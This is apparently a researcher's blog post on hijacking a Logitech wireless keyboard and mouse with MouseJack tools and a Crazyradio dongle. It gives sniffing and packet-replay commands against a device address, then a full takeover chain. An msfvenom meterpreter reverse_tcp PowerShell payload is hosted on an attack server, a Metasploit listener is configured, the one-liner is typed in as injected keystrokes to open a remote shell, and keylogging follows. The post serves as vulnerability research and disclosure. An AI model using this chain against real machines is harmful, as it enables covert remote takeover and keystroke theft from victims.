Earlier this year researchers from Bastille discovered vulnerabilities in wireless mice and keyboards that could lead to them being remotely hijacked from as far as 225 meters away. They have a dedicated site detailing the vulnerabilities dubbed mousejack. They also released POC code which I have built on to implement a remote takeover of a machine using a wireless mouse/keyboard.
I already had in my possesion the Logitech Wireless Combo MK220 which consists of a K220 wireless keyboard and an M150 wireless mouse which I used as my test devices.
I used the Crazyradio PA long range open USB radio dongle as the attack device. The original mousejack POC code is available on Github with instructions on how to flash the firmware necessary to perform the attack. I therefore set up both my machine and the Crazyradio PA dongle as described in their POC and tested the functionality they had provided.
I was then able to scan and sniff the packets transmitted by the mouse/keyboard using the nrf24-scanner.py and the nrf24-sniffer.py scripts. However, I was more interested in hijacking the mouse/keyboard and controlling the machine remotely. I therefore extended the POC to serve my purposes.
First, I modified the nrf24-sniffer.py code to log the sniiffed packets to a user specified output file.
Sniff packets from address 8C:D3:0F:3E:B4 on all channels and save them to output.log
./nrf24-sniffer.py --lna -a 8C:D3:0F:3E:B4 -o output.log
Next, I wrote a new python script nrf24-replay.py that would transmit packets read from a log file. This would replay captured packets or transmit generated ones and follow the wireless USB dongle as it hopped through the channels.
Send packets from the file keystroke.log to address 8C:D3:0F:3E:B4 on a hopping channel
./nrf24-replay.py --lna -a 8C:D3:0F:3E:B4 -v -t 10 -i keystroke.log
With this in place I could now begin the hijack phase. The first thing was to capture and study different key presses and interesting key combinations. From there I created mappings of the key presses to their corresponding packets. A sample of the digit mappings looks like this:
I also did the same for useful key combinations such as ALT-F2, ALT-F4 and so on.
I then wrote a python script called keymapper.py that would create a log file of packets of the corresponding key presses.
Now I could generate packets and save them to a log file and then wirelessly hijack the mouse/keyboard and perform various operations on the target machine.
Powershell is becoming one of the mot effective avenues of attacking a Windows machine. I therefore used the following aproach to accomplish the full hijack of a target machine:
Generate and host a powershell payload on the attack server
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=port -f psh-cmd -o update.ps1
Start a metasploit listener on our attack server
set LHOST IP
set LPORT PORT
set PAYLOAD windows/meterpreter/reverse_tcp
Translate our powershell one liner to the corresponding packets using the keymapper.py script
Hijack the target’s wireless mouse/keyboard and wait for their machine to connect back to the attack server
./nrf24-replay.py --lna -a 8C:D3:0F:3E:B4 -i shell.log -t 10
Perform post exploitation on the target machine
I have uploaded the POC code here on Github.
A POC video of the hijack described can be found below where I take over a Windows 7 machine and perform keylogging post-exploitation.
Further research on different wireless mice/keyboards is ongoing, more so on the packet composition and encryption.
Till next time, happy hacking!